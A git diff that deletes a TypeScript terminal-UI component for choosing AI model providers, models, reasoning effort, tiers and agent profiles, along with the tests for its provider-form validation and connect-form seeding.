result = validateProviderForm( - form({ - name: " firepass ", - baseURL: " https://firepass.example/v1 ", - apiKey: " sk-key ", - models: " fp-large , fp-small ", - defaultModel: " fp-large ", - }), - undefined, - ); - expect(result).toEqual({ - ok: true, - submission: { - name: "firepass", - baseURL: "https://firepass.example/v1", - apiKey: "sk-key", - models: ["fp-large", "fp-small"], - defaultModel: "fp-large", - }, - }); - }); - - test("persists anthropic and opencodeGo flags from connect extras", () => { - const anthropic = validateProviderForm(form({ name: "anthropic" }), undefined, { - anthropic: true, - }); - expect(anthropic.ok).toBe(true); - if (anthropic.ok) { - expect(anthropic.submission.anthropic).toBe(true); - expect(anthropic.submission.opencodeGo).toBeUndefined(); - } - - const go = validateProviderForm( - form({ name: "opencode-go", apiKey: "sk-go-longenough" }), - undefined, - { opencodeGo: true }, - ); - expect(go.ok).toBe(true); - if (go.ok) { - expect(go.submission.opencodeGo).toBe(true); - } - }); - - test("edit submission re-asserts protocol flags from provider extras", () => { - // Mirrors enterEditForm seeding connectDraft from AgentProvider flags. - const goEdit = validateProviderForm( - form({ - name: "opencode-go", - baseURL: "https://opencode.ai/zen/go/v1", - apiKey: "", - models: "kimi-k2.7-code, minimax-m3", - defaultModel: "kimi-k2.7-code", - }), - "opencode-go", - { opencodeGo: true }, - ); - expect(goEdit.ok).toBe(true); - if (goEdit.ok) { - expect(goEdit.submission.originalName).toBe("opencode-go"); - expect(goEdit.submission.opencodeGo).toBe(true); - } - - const anthropicEdit = validateProviderForm( - form({ name: "anthropic", baseURL: "https://api.anthropic.com" }), - "anthropic", - { anthropic: true }, - ); - expect(anthropicEdit.ok).toBe(true); - if (anthropicEdit.ok) { - expect(anthropicEdit.submission.anthropic).toBe(true); - } - }); - - test("rejects invalid OpenCode Go API keys when opencodeGo is set", () => { - expect( - validateProviderForm(form({ name: "opencode-go", apiKey: "short" }), undefined, { - opencodeGo: true, - }), - ).toEqual({ ok: false, error: "API key looks too short" }); - - expect( - validateProviderForm(form({ name: "opencode-go", apiKey: "has space" }), undefined, { - opencodeGo: true, - }), - ).toEqual({ ok: false, error: "API key must not contain whitespace" }); - }); -}); - -describe("seedConnectForm", () => { - const goDef = FIRST_CLASS_PROVIDERS.find((p) => p.id === "opencode-go"); - if (goDef === undefined) throw new Error("opencode-go missing from FIRST_CLASS_PROVIDERS"); - const zenDef = FIRST_CLASS_PROVIDERS.find((p) => p.id === "zen"); - if (zenDef === undefined) throw new Error("zen missing from FIRST_CLASS_PROVIDERS"); - - test("creates a new provider submission path when catalog is empty", () => { - const seed = seedConnectForm(goDef, undefined); - expect(seed.editingProvider).toBeUndefined(); - expect(seed.formValues.name).toBe("opencode-go"); - expect(seed.connectDraft.opencodeGo).toBe(true); - expect(seed.formValues.apiKey).toBe(""); - }); - - test("treats re-Connect as edit so save upserts instead of name-conflict", () => { - const seed = seedConnectForm(goDef, { - name: "opencode-go", - baseURL: "https://opencode.ai/zen/go/v1", - models: ["kimi-k2.7-code"], - defaultModel: "kimi-k2.7-code", - opencodeGo: true, - }); - expect(seed.editingProvider).toBe("opencode-go"); - expect(seed.connectDraft.opencodeGo).toBe(true); - // Go re-connect seeds catalog models; only the key is re-entered. - expect(seed.formValues.baseURL).toBe(goDef.baseURL ?? ""); - expect(seed.formValues.apiKey).toBe(""); - - const validated = validateProviderForm( - { ...seed.formValues, apiKey: "sk-go-rotated-key-long" }, - seed.editingProvider, - seed.connectDraft, - ); - expect(validated.ok).toBe(true); - if (validated.ok) { - expect(validated.submission.originalName).toBe("opencode-go"); - expect(validated.submission.opencodeGo).toBe(true); - expect(validated.submission.apiKey).toBe("sk-go-rotated-key-long"); - } - }); - - test("does not re-seed a wrong Zen PAYG baseURL for OpenCode Go", () => { - const seed = seedConnectForm(goDef, { - name: "opencode-go", - baseURL: "https://opencode.ai/zen/v1", - models: ["wrong-model"], - defaultModel: "wrong-model", - opencodeGo: true, - }); - expect(seed.formValues.baseURL).toBe(goDef.baseURL ?? ""); - expect(seed.formValues.baseURL).not.toBe("https://opencode.ai/zen/v1"); - // Catalog models/default, not the stale existing values. - expect(seed.formValues.models).toBe((goDef.models ?? []).join(", ")); - expect(seed.formValues.defaultModel).toBe(goDef.defaultModel ?? goDef.models?.[0] ?? ""); - expect(seed.connectDraft.opencodeGo).toBe(true); - }); - - test("zen re-connect always seeds catalog baseURL", () => { - const seed = seedConnectForm(zenDef, { - name: "zen", - baseURL: "https://opencode.ai/zen/go/v1", - models: ["claude-sonnet-4-5"], - defaultModel: "claude-sonnet-4-5", - }); - expect(seed.formValues.baseURL).toBe(zenDef.baseURL ?? ""); - expect(seed.formValues.baseURL).toBe("https://opencode.ai/zen/v1"); - // Operator-customized models still kept for zen. - expect(seed.formValues.models).toBe("claude-sonnet-4-5"); - }); -}); diff --git a/src/tui/components/agent-modal.tsx b/src/tui/components/agent-modal.tsx deleted file mode 100644 index 696697ce5..000000000 --- a/src/tui/components/agent-modal.tsx +++ /dev/null @@ -1,1697 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useMemo, useState, useRef } from "react"; -import { color } from "../theme.js"; -import { type ProviderSubmission } from "../../config/providers.js"; -import { supportedEfforts, type ReasoningEffort } from "../../provider/reasoning-effort.js"; -import { - PROVIDER_TIERS, - type ModelRef, - type ProviderTier, - type TierConfig, -} from "../../config/settings.js"; -import { formatTierChain, normalizeTierDefinition } from "../../config/inference-sources.js"; -import type { AgentProfile } from "../../agent/profiles.js"; -import { useTerminalSize } from "../hooks/use-terminal-size.js"; -import { - STACK_FORM_COLUMNS, - fitTrailingText, - formContentWidth, - wrapHelpSegments, -} from "./form-reflow.js"; -import { - connectListProviders, - firstClassPathAsProvider, - type FirstClassProviderDef, - type FirstClassProviderPath, - validateGoApiKey, -} from "../../../packages/first-class-providers/src/index.js"; -import { isOpenCodeGoProviderId } from "../../../packages/opencode-go/src/index.js"; -import { billingProductForProvider, isGoModelOnZenPath } from "../../provider/billing-product.js"; -import { buildModelsFirstList, type ModelPick } from "../model-picker.js"; - -// Effort display: undefined means "no override" (field omitted); "none" is -// OpenAI's explicit disable-reasoning value. Both read as "off". -function effortLabel(effort: ReasoningEffort | undefined): string { - if (effort === undefined) return "Default (no override)"; - if (effort === "none") return "None (disable reasoning)"; - if (effort === "xhigh") return "Extra high"; - return effort[0]!.toUpperCase() + effort.slice(1); -} - -const EFFORT_DESCRIPTIONS: Partial> = { - low: "Fast responses with lighter reasoning", - medium: "Balances speed and reasoning depth for everyday tasks", - high: "Greater reasoning depth for complex problems", - xhigh: "Extra high reasoning depth for complex problems", - max: "Maximum reasoning depth for the hardest problems", - ultra: "Maximum reasoning with automatic task delegation", -}; - -const MODEL_DESCRIPTIONS: Record = { - "gpt-5.5": "Frontier model for complex coding, research, and real-world work", - "gpt-5.6-sol": "Latest frontier agentic coding model", - "gpt-5.6-terra": "Balanced agentic coding model for everyday work", - "gpt-5.6-luna": "Fast and affordable agentic coding model", - "gpt-5.4": "Strong model for everyday coding", - "gpt-5.4-mini": "Small, fast, and cost-efficient model for simpler coding tasks", -}; - -export type AgentProvider = { - name: string; - baseURL: string; - models: string[]; - defaultModel?: string; - keyless?: boolean; - codexProfile?: string; - xaiProfile?: string; - bifrostVirtualKey?: boolean; - anthropic?: boolean; - opencodeGo?: boolean; -}; - -export type { ProviderSubmission, ProviderSubmission as ProviderFormSubmission }; - -export type ProviderFormField = "name" | "baseURL" | "keyless" | "apiKey" | "models" | "defaultModel"; -export type ProviderFormValues = Record; -type Step = - | "models" - | "provider" - | "connect" - | "connect-path" - | "model" - | "effort" - | "form" - | "delete" - | "tiers" - | "tier-chain" - | "profiles" - | "profile-form" - | "profile-delete"; - -function connectAuthLabel(auth: FirstClassProviderDef["auth"]): string { - switch (auth) { - case "oauth": - return "OAuth"; - case "api-key": - return "API key"; - case "chooser": - return "choose path"; - case "custom": - return "custom"; - } -} - -const FORM_FIELDS: readonly ProviderFormField[] = ["name", "baseURL", "keyless", "apiKey", "models", "defaultModel"]; -/** First-class connect only collects credentials; catalog seeds the rest. */ -const AUTH_ONLY_FIELDS: readonly ProviderFormField[] = ["apiKey"]; - -const FIELD_LABELS: Record = { - name: "Provider name", - baseURL: "Base URL", - keyless: "Keyless", - apiKey: "API key", - models: "Models", - defaultModel: "Default model", -}; - -const FIELD_HINTS: Record = { - name: "openai, anthropic, fireworks, ...", - baseURL: "https://api.openai.com/v1", - keyless: "no auth needed (e.g. Ollama)", - apiKey: "sk-...", - models: "model-a, model-b", - defaultModel: "optional; must be in models", -}; - -// Project provider catalog entries carry credentials. The modal receives the -// editable fields it must display plus model metadata, but never receives -// provider API keys. -export function toAgentProviders( - entries: ReadonlyArray<{ - name: string; - baseURL: string; - apiKey?: string; - models: string[]; - defaultModel?: string; - keyless?: boolean; - codexProfile?: string; - xaiProfile?: string; - bifrostVirtualKey?: boolean; - anthropic?: boolean; - opencodeGo?: boolean; - }>, -): AgentProvider[] { - return entries.map((p) => ({ - name: p.name, - baseURL: p.baseURL, - models: p.models, - ...(p.defaultModel !== undefined ? { defaultModel: p.defaultModel } : {}), - ...(p.keyless === true ? { keyless: true } : {}), - ...(p.codexProfile !== undefined ? { codexProfile: p.codexProfile } : {}), - ...(p.xaiProfile !== undefined ? { xaiProfile: p.xaiProfile } : {}), - ...(p.bifrostVirtualKey === true ? { bifrostVirtualKey: true } : {}), - ...(p.anthropic === true ? { anthropic: true } : {}), - ...(p.opencodeGo === true ? { opencodeGo: true } : {}), - })); -} - -export type AgentModalProps = { - providers: AgentProvider[]; - activeProvider: string; - activeModel: string; - activeEffort: ReasoningEffort | undefined; - onApply: (provider: string, model: string, effort: ReasoningEffort | undefined) => void; - onPersistDefault: (provider: string, model: string, effort: ReasoningEffort | undefined) => void; - onSaveProvider: (provider: ProviderSubmission) => { ok: true } | { ok: false; error: string }; - onDeleteProvider: (provider: string) => void; - onClose: () => void; - tiers: Partial>; - onSaveTier: ( - tier: ProviderTier, - provider: string, - model: string, - effort?: ReasoningEffort, - ) => void; - onCycleTierMode?: (tier: ProviderTier) => void; - onClearTier?: (tier: ProviderTier) => void; - onRemoveTierLeg?: (tier: ProviderTier, legIndex: number) => void; - onMoveTierLeg?: (tier: ProviderTier, legIndex: number, direction: -1 | 1) => void; - profiles: AgentProfile[]; - onSaveProfile: (profile: AgentProfile) => { ok: true } | { ok: false; error: string }; - onDeleteProfile: (id: string) => void; - usage?: string | undefined; - /** Called when keyboard cursor lands on (or selects) a usage-supporting provider so parent can live-fetch. */ - onRequestUsage?: (kind: "codex" | "xai", profile: string, baseURL?: string) => void; - /** Provider names (not profile names) that have expired/missing OAuth tokens. */ - unauthedProviders?: ReadonlySet; - /** Called when user presses Enter on an unauthed OAuth provider to trigger login. */ - onRequestLogin?: (kind: "codex" | "xai", profile: string) => void; - /** Recent provider+model pairs for the models-first list (newest first). */ - recentModels?: ModelRef[]; - /** Favorite provider+model pairs. */ - favoriteModels?: ModelRef[]; - /** Toggle favorite for the highlighted model (Alt+F). */ - onToggleFavorite?: (ref: ModelRef) => void; -}; - -function initialFormValues(provider: AgentProvider | undefined): ProviderFormValues { - return { - name: provider?.name ?? "", - baseURL: provider?.baseURL ?? "", - keyless: provider?.keyless === true ? "yes" : "no", - apiKey: "", - models: provider?.models.join(", ") ?? "", - defaultModel: provider?.defaultModel ?? provider?.models[0] ?? "", - }; -} - -/** Pre-seed the Connect form for an API-key first-class provider. - * If the catalog already has that id, treat Connect as re-key/edit so save - * upserts instead of failing with "already exists". - * - * OpenCode Go always seeds catalog baseURL/models/defaultModel so a prior - * wrong Zen URL cannot stick. Zen always seeds catalog baseURL for the same - * reason. Other first-class providers keep operator-customized models/URL. */ -export function seedConnectForm( - def: FirstClassProviderDef, - existing: AgentProvider | undefined, -): { - editingProvider: string | undefined; - formValues: ProviderFormValues; - connectDraft: { anthropic: boolean; opencodeGo: boolean }; -} { - const isGo = def.opencodeGo === true || isOpenCodeGoProviderId(def.id); - const isZen = def.id === "zen"; - const base: ProviderFormValues = { - name: def.id, - baseURL: def.baseURL ?? "", - keyless: "no", - apiKey: "", - models: (def.models ?? []).join(", "), - defaultModel: def.defaultModel ?? def.models?.[0] ?? "", - }; - - let formValues: ProviderFormValues = base; - if (existing !== undefined) { - if (isGo) { - // Pin catalog baseURL/models/defaultModel; only keyless may carry over. - // API key is always re-entered on Connect. - formValues = { - ...base, - keyless: existing.keyless === true ? "yes" : "no", - }; - } else if (isZen) { - // Pin catalog baseURL; keep operator-customized models when present. - formValues = { - ...base, - baseURL: base.baseURL, - keyless: existing.keyless === true ? "yes" : "no", - models: existing.models.length > 0 ? existing.models.join(", ") : base.models, - defaultModel: - existing.defaultModel ?? existing.models[0] ?? base.defaultModel, - }; - } else { - formValues = { - ...base, - baseURL: existing.baseURL.length > 0 ? existing.baseURL : base.baseURL, - keyless: existing.keyless === true ? "yes" : "no", - models: existing.models.length > 0 ? existing.models.join(", ") : base.models, - defaultModel: - existing.defaultModel ?? existing.models[0] ?? base.defaultModel, - }; - } - } - - return { - editingProvider: existing?.name, - formValues, - connectDraft: { - anthropic: def.anthropic === true || existing?.anthropic === true, - opencodeGo: isGo || existing?.opencodeGo === true, - }, - }; -} - -function parseModels(raw: string): string[] { - return raw - .split(",") - .map((model) => model.trim()) - .filter((model) => model.length > 0); -} - -export function validateProviderForm( - values: ProviderFormValues, - originalName: string | undefined, - extras?: { anthropic?: boolean; opencodeGo?: boolean }, -): { ok: true; submission: ProviderSubmission } | { ok: false; error: string } { - const name = values.name.trim(); - const baseURL = values.baseURL.trim(); - const apiKey = values.apiKey.trim(); - const keyless = values.keyless === "yes"; - const models = parseModels(values.models); - const defaultModel = values.defaultModel.trim(); - - if (name.length === 0) return { ok: false, error: "Provider name is required" }; - if (baseURL.length === 0) return { ok: false, error: "Base URL is required" }; - if (!keyless && originalName === undefined && apiKey.length === 0) { - return { ok: false, error: "API key is required (or enable keyless)" }; - } - if (models.length === 0) return { ok: false, error: "At least one model is required" }; - if (defaultModel.length > 0 && !models.includes(defaultModel)) { - return { ok: false, error: "Default model must be listed in models" }; - } - if (extras?.opencodeGo === true && apiKey.length > 0) { - const goKey = validateGoApiKey(apiKey); - if (!goKey.ok) return { ok: false, error: goKey.error }; - } - - return { - ok: true, - submission: { - ...(originalName !== undefined ? { originalName } : {}), - name, - baseURL, - ...(keyless ? { keyless: true } : {}), - ...(apiKey.length > 0 ? { apiKey } : {}), - models, - ...(defaultModel.length > 0 ? { defaultModel } : {}), - ...(extras?.anthropic === true ? { anthropic: true } : {}), - ...(extras?.opencodeGo === true ? { opencodeGo: true } : {}), - }, - }; -} - -function maskInput(field: ProviderFormField, value: string): string { - return field === "apiKey" ? "*".repeat(Math.min(value.length, 16)) : value; -} - -type ProfileFormValues = { id: string; description: string; tier: ProviderTier | "" }; - -const PROFILE_TIER_OPTIONS: ReadonlyArray = ["", ...PROVIDER_TIERS]; - -function initialProfileFormValues(profile: AgentProfile | undefined): ProfileFormValues { - return { - id: profile?.id ?? "", - description: profile?.description ?? "", - tier: profile?.tier ?? "", - }; -} - -type ProfileFormField = "id" | "description" | "tier"; -const PROFILE_FORM_FIELDS: readonly ProfileFormField[] = ["id", "description", "tier"]; -const PROFILE_FIELD_LABELS: Record = { - id: "ID", - description: "Description", - tier: "Tier", -}; -const PROFILE_FIELD_HINTS: Record = { - id: "greybeard, fast-thinker, ...", - description: "optional label", - tier: "fast / standard / clever (optional)", -}; - -export function AgentModal({ - providers, - activeProvider, - activeModel, - activeEffort, - onApply, - onPersistDefault, - onSaveProvider, - onDeleteProvider, - onClose, - tiers, - onSaveTier, - onCycleTierMode, - onClearTier, - onRemoveTierLeg, - onMoveTierLeg, - profiles, - onSaveProfile, - onDeleteProfile, - usage, - onRequestUsage, - unauthedProviders, - onRequestLogin, - recentModels = [], - favoriteModels = [], - onToggleFavorite, -}: AgentModalProps): ReactNode { - const { columns } = useTerminalSize(); - const stackFields = columns < STACK_FORM_COLUMNS; - const contentWidth = formContentWidth(columns, stackFields); - // Label column widths used in row layout; stacked layout uses full content width for values. - const providerLabelWidth = 16; - const profileLabelWidth = 14; - const valueWidth = stackFields - ? contentWidth - : Math.max(8, contentWidth - Math.max(providerLabelWidth, profileLabelWidth) - 1); - const initialProvider = Math.max( - 0, - providers.findIndex((p) => p.name === activeProvider), - ); - const [step, setStep] = useState("models"); - const [pickIndex, setPickIndex] = useState(0); - const [providerIndex, setProviderIndex] = useState(initialProvider); - const [modelIndex, setModelIndex] = useState(0); - const [pendingProvider, setPendingProvider] = useState(undefined); - const [pendingModel, setPendingModel] = useState(undefined); - const [effortIndex, setEffortIndex] = useState(0); - const [formIndex, setFormIndex] = useState(0); - const [formAuthOnly, setFormAuthOnly] = useState(false); - // Where Esc returns from connect/profiles when entered from models-first vs advanced. - const [navReturnStep, setNavReturnStep] = useState<"models" | "provider">("models"); - const [formValues, setFormValues] = useState(() => initialFormValues(undefined)); - const [editingProvider, setEditingProvider] = useState(undefined); - const [formError, setFormError] = useState(null); - const [tierIndex, setTierIndex] = useState(0); - const [tierChainFocus, setTierChainFocus] = useState(null); - const [tierLegIndex, setTierLegIndex] = useState(0); - const [pendingTierAssign, setPendingTierAssign] = useState(null); - const [profileIndex, setProfileIndex] = useState(0); - const [profileFormIndex, setProfileFormIndex] = useState(0); - const [profileFormValues, setProfileFormValues] = useState(() => initialProfileFormValues(undefined)); - const [editingProfileId, setEditingProfileId] = useState(undefined); - const [profileFormError, setProfileFormError] = useState(null); - const [connectIndex, setConnectIndex] = useState(0); - const [connectPathIndex, setConnectPathIndex] = useState(0); - const [chooserDef, setChooserDef] = useState(null); - const connectDraft = useRef<{ anthropic: boolean; opencodeGo: boolean } | null>(null); - - const selectedProvider = providers[providerIndex]; - const models = selectedProvider?.models ?? []; - - const modelPicks = useMemo( - () => - buildModelsFirstList({ - providers: providers.map((p) => { - const account = - p.codexProfile !== undefined - ? p.codexProfile - : p.xaiProfile !== undefined - ? p.xaiProfile - : undefined; - return { - name: p.name, - models: p.models, - baseURL: p.baseURL, - ...(p.defaultModel !== undefined ? { defaultModel: p.defaultModel } : {}), - ...(p.codexProfile !== undefined ? { codexProfile: p.codexProfile } : {}), - ...(p.xaiProfile !== undefined ? { xaiProfile: p.xaiProfile } : {}), - ...(p.opencodeGo === true ? { opencodeGo: true } : {}), - ...(account !== undefined ? { account } : {}), - }; - }), - recent: recentModels, - favorites: favoriteModels, - isGoModelOnZenPath: (model, provider) => - isGoModelOnZenPath(model, { - name: provider.name, - ...(provider.baseURL !== undefined ? { baseURL: provider.baseURL } : {}), - ...(provider.opencodeGo === true ? { opencodeGo: true } : {}), - }), - }), - [providers, recentModels, favoriteModels], - ); - - const requestUsageForIndex = (idx: number): void => { - if (onRequestUsage === undefined) return; - const p = providers[idx]; - if (p === undefined) return; - if (p.codexProfile !== undefined) onRequestUsage("codex", p.codexProfile, p.baseURL); - else if (p.xaiProfile !== undefined) onRequestUsage("xai", p.xaiProfile, p.baseURL); - }; - // Real effort levels the selected model accepts, from supportedEfforts(). - // An empty array means no model is selected or the model has no reasoning capability. - const isCodexProvider = (name: string | undefined): boolean => - providers.find((p) => p.name === name)?.codexProfile !== undefined; - const efforts: ReasoningEffort[] = - pendingModel !== undefined ? supportedEfforts(pendingModel, undefined, isCodexProvider(pendingProvider)) : []; - const activeFormFields = formAuthOnly ? AUTH_ONLY_FIELDS : FORM_FIELDS; - const currentField = activeFormFields[formIndex] ?? activeFormFields[0] ?? "name"; - - const enterModelStep = (): void => { - const provider = providers[providerIndex]; - if (provider === undefined) return; - const active = provider.name === activeProvider ? activeModel : provider.defaultModel; - const idx = active !== undefined ? provider.models.indexOf(active) : -1; - setModelIndex(idx >= 0 ? idx : 0); - setStep("model"); - }; - - const enterEffortStep = (providerName: string, modelName: string): void => { - setPendingProvider(providerName); - setPendingModel(modelName); - const active = providerName === activeProvider && modelName === activeModel ? activeEffort : undefined; - const options = supportedEfforts(modelName, undefined, isCodexProvider(providerName)); - const idx = active !== undefined ? options.indexOf(active) : -1; - const fallback = options.indexOf("medium"); - setEffortIndex(idx >= 0 ? idx : fallback >= 0 ? fallback : 0); - setStep("effort"); - }; - - const enterAddForm = (): void => { - connectDraft.current = null; - setFormAuthOnly(false); - setEditingProvider(undefined); - setFormValues(initialFormValues(undefined)); - setFormIndex(0); - setFormError(null); - setStep("form"); - }; - - const enterConnectStep = (): void => { - setNavReturnStep(step === "provider" ? "provider" : "models"); - setConnectIndex(0); - setChooserDef(null); - setConnectPathIndex(0); - setStep("connect"); - }; - - const enterApiKeyConnectForm = (def: FirstClassProviderDef): void => { - // Upsert: re-Connect on an existing first-class provider re-keys in place. - const existing = providers.find((p) => p.name === def.id); - const seed = seedConnectForm(def, existing); - setEditingProvider(seed.editingProvider); - setFormValues(seed.formValues); - connectDraft.current = seed.connectDraft; - setFormAuthOnly(true); - setFormIndex(0); // apiKey is the only field in auth-only mode - setFormError(null); - setStep("form"); - }; - - const enterConnectPath = (path: FirstClassProviderPath, parent: FirstClassProviderDef): void => { - if (path.auth === "oauth") { - if (path.oauth !== undefined && onRequestLogin !== undefined) { - onRequestLogin(path.oauth, "default"); - } - return; - } - const seeded = firstClassPathAsProvider(parent, path.id); - if (seeded !== undefined) enterApiKeyConnectForm(seeded); - }; - - const enterConnectForm = (def: FirstClassProviderDef): void => { - if (def.auth === "oauth") { - if (def.oauth !== undefined && onRequestLogin !== undefined) { - onRequestLogin(def.oauth, "default"); - } - return; - } - if (def.auth === "custom") { - enterAddForm(); - return; - } - if (def.auth === "chooser") { - setChooserDef(def); - setConnectPathIndex(0); - setStep("connect-path"); - return; - } - enterApiKeyConnectForm(def); - }; - - const enterEditForm = (): void => { - const provider = providers[providerIndex]; - if (provider === undefined) return; - // Preserve protocol flags across edit/re-key so Go/Anthropic routing survives. - connectDraft.current = { - anthropic: provider.anthropic === true, - opencodeGo: provider.opencodeGo === true, - }; - setFormAuthOnly(false); - setEditingProvider(provider.name); - setFormValues(initialFormValues(provider)); - setFormIndex(0); - setFormError(null); - setStep("form"); - }; - - const submitForm = (): void => { - const draft = connectDraft.current; - const result = validateProviderForm( - formValues, - editingProvider, - draft !== null - ? { - ...(draft.anthropic ? { anthropic: true } : {}), - ...(draft.opencodeGo ? { opencodeGo: true } : {}), - } - : undefined, - ); - if (!result.ok) { - setFormError(result.error); - return; - } - const saved = onSaveProvider(result.submission); - if (!saved.ok) { - setFormError(saved.error); - return; - } - connectDraft.current = null; - if (pendingTierAssign !== null) { - setStep("tiers"); - } else { - setStep("models"); - } - }; - - const enterTierChainStep = (tier: ProviderTier): void => { - const def = normalizeTierDefinition(tiers[tier]); - if (def === undefined || def.order.length === 0) return; - setTierChainFocus(tier); - setTierLegIndex(0); - setStep("tier-chain"); - }; - - const enterTierModelStep = (tierName: ProviderTier): void => { - setPendingTierAssign(tierName); - const provider = providers[providerIndex]; - if (provider === undefined) return; - const active = provider.name === activeProvider ? activeModel : provider.defaultModel; - const idx = active !== undefined ? provider.models.indexOf(active) : -1; - setModelIndex(idx >= 0 ? idx : 0); - setStep("model"); - }; - - const enterAddProfileForm = (): void => { - setEditingProfileId(undefined); - setProfileFormValues(initialProfileFormValues(undefined)); - setProfileFormIndex(0); - setProfileFormError(null); - setStep("profile-form"); - }; - - const enterEditProfileForm = (): void => { - const profile = profiles[profileIndex]; - if (profile === undefined) return; - setEditingProfileId(profile.id); - setProfileFormValues(initialProfileFormValues(profile)); - setProfileFormIndex(0); - setProfileFormError(null); - setStep("profile-form"); - }; - - const submitProfileForm = (): void => { - const id = profileFormValues.id.trim(); - const description = profileFormValues.description.trim(); - const tierValue = profileFormValues.tier.trim() as ProviderTier | ""; - if (id.length === 0) { - setProfileFormError("ID is required"); - return; - } - if (!/^[\w-]+$/.test(id)) { - setProfileFormError("ID must be alphanumeric with hyphens/underscores only"); - return; - } - const profile: AgentProfile = { - id, - ...(description.length > 0 ? { description } : {}), - ...(tierValue.length > 0 ? { tier: tierValue as ProviderTier } : {}), - }; - const result = onSaveProfile(profile); - if (!result.ok) { - setProfileFormError(result.error); - return; - } - setStep("profiles"); - }; - - useInput((input, key) => { - if (step === "models") { - if (key.upArrow) { - setPickIndex((i) => (modelPicks.length === 0 ? 0 : i > 0 ? i - 1 : modelPicks.length - 1)); - return; - } - if (key.downArrow) { - setPickIndex((i) => (modelPicks.length === 0 ? 0 : i < modelPicks.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const pick = modelPicks[pickIndex]; - if (pick === undefined) return; - const options = supportedEfforts(pick.model, undefined, isCodexProvider(pick.provider)); - if (options.length === 0) { - onApply(pick.provider, pick.model, undefined); - onClose(); - return; - } - enterEffortStep(pick.provider, pick.model); - return; - } - // Alt+A connect; some terminals send meta+a - if ((key.meta && (input === "a" || input === "A")) || (key.ctrl && input === "a")) { - enterConnectStep(); - return; - } - if (input === "c") { - enterConnectStep(); - return; - } - // Alt+F favorite - if (key.meta && (input === "f" || input === "F")) { - const pick = modelPicks[pickIndex]; - if (pick !== undefined) { - onToggleFavorite?.({ provider: pick.provider, model: pick.model }); - } - return; - } - if (input === "a") { - // Advanced: provider drill-down for edit/delete/tiers - setStep("provider"); - return; - } - if (input === "t") { - setStep("tiers"); - return; - } - if (input === "p") { - setNavReturnStep("models"); - setProfileIndex(0); - setStep("profiles"); - return; - } - if (key.escape) onClose(); - return; - } - - if (step === "provider") { - if (key.upArrow) { - setProviderIndex((i) => { - const next = i > 0 ? i - 1 : providers.length - 1; - requestUsageForIndex(next); - return next; - }); - return; - } - if (key.downArrow) { - setProviderIndex((i) => { - const next = i < providers.length - 1 ? i + 1 : 0; - requestUsageForIndex(next); - return next; - }); - return; - } - if (key.return) { - const p = providers[providerIndex]; - const isUnauthed = p !== undefined && unauthedProviders?.has(p.name) === true; - if (isUnauthed && onRequestLogin !== undefined && p !== undefined) { - if (p.codexProfile !== undefined) onRequestLogin("codex", p.codexProfile); - else if (p.xaiProfile !== undefined) onRequestLogin("xai", p.xaiProfile); - return; - } - enterModelStep(); - return; - } - if (input === "a") { - enterAddForm(); - return; - } - if (key.ctrl && input === "a") { - enterConnectStep(); - return; - } - if (input === "c") { - enterConnectStep(); - return; - } - if (input === "e") { - enterEditForm(); - return; - } - if (input === "x") { - if (selectedProvider !== undefined) setStep("delete"); - return; - } - if (input === "t") { - setStep("tiers"); - return; - } - if (input === "p") { - setNavReturnStep("provider"); - setProfileIndex(0); - setStep("profiles"); - return; - } - if (key.escape) { - setStep("models"); - return; - } - return; - } - - if (step === "connect") { - if (key.upArrow) { - setConnectIndex((i) => (i > 0 ? i - 1 : connectListProviders().length - 1)); - return; - } - if (key.downArrow) { - setConnectIndex((i) => (i < connectListProviders().length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const def = connectListProviders()[connectIndex]; - if (def !== undefined) enterConnectForm(def); - return; - } - if (key.escape) { - setStep(navReturnStep); - return; - } - return; - } - - if (step === "connect-path") { - const paths = chooserDef?.paths ?? []; - if (paths.length === 0) { - if (key.escape) { - setChooserDef(null); - setStep("connect"); - } - return; - } - if (key.upArrow) { - setConnectPathIndex((i) => (i > 0 ? i - 1 : paths.length - 1)); - return; - } - if (key.downArrow) { - setConnectPathIndex((i) => (i < paths.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const path = paths[connectPathIndex]; - if (path !== undefined && chooserDef !== null) enterConnectPath(path, chooserDef); - return; - } - if (key.escape) { - setChooserDef(null); - setStep("connect"); - return; - } - return; - } - - if (step === "profiles") { - if (key.upArrow) { - setProfileIndex((i) => (i > 0 ? i - 1 : profiles.length - 1)); - return; - } - if (key.downArrow) { - setProfileIndex((i) => (i < profiles.length - 1 ? i + 1 : 0)); - return; - } - if (input === "a") { - enterAddProfileForm(); - return; - } - if (input === "e") { - if (profiles.length > 0) enterEditProfileForm(); - return; - } - if (input === "x") { - if (profiles.length > 0) setStep("profile-delete"); - return; - } - if (key.escape) { - setStep(navReturnStep); - return; - } - return; - } - - if (step === "profile-delete") { - if (input === "y") { - const profile = profiles[profileIndex]; - if (profile !== undefined) { - onDeleteProfile(profile.id); - setProfileIndex(0); - } - setStep("profiles"); - return; - } - if (input === "n" || key.escape) { - setStep("profiles"); - return; - } - return; - } - - if (step === "profile-form") { - const currentProfileField = PROFILE_FORM_FIELDS[profileFormIndex] ?? "id"; - if (currentProfileField === "tier") { - if (key.upArrow) { - setProfileFormValues((v) => { - const idx = PROFILE_TIER_OPTIONS.indexOf(v.tier); - const next = PROFILE_TIER_OPTIONS[idx > 0 ? idx - 1 : PROFILE_TIER_OPTIONS.length - 1] ?? ""; - return { ...v, tier: next }; - }); - return; - } - if (key.downArrow) { - setProfileFormValues((v) => { - const idx = PROFILE_TIER_OPTIONS.indexOf(v.tier); - const next = PROFILE_TIER_OPTIONS[idx < PROFILE_TIER_OPTIONS.length - 1 ? idx + 1 : 0] ?? ""; - return { ...v, tier: next }; - }); - return; - } - } else { - if (key.upArrow) { - setProfileFormIndex((i) => (i > 0 ? i - 1 : PROFILE_FORM_FIELDS.length - 1)); - return; - } - if (key.downArrow || key.tab) { - setProfileFormIndex((i) => (i < PROFILE_FORM_FIELDS.length - 1 ? i + 1 : 0)); - return; - } - } - if (key.return) { - if (profileFormIndex < PROFILE_FORM_FIELDS.length - 1) { - setProfileFormIndex((i) => i + 1); - return; - } - submitProfileForm(); - return; - } - if (key.escape) { - setStep("profiles"); - setProfileFormError(null); - return; - } - if (currentProfileField !== "tier") { - if (key.backspace || key.delete) { - setProfileFormValues((v) => ({ ...v, [currentProfileField]: v[currentProfileField].slice(0, -1) })); - setProfileFormError(null); - return; - } - if (!key.ctrl && !key.meta && input.length > 0) { - 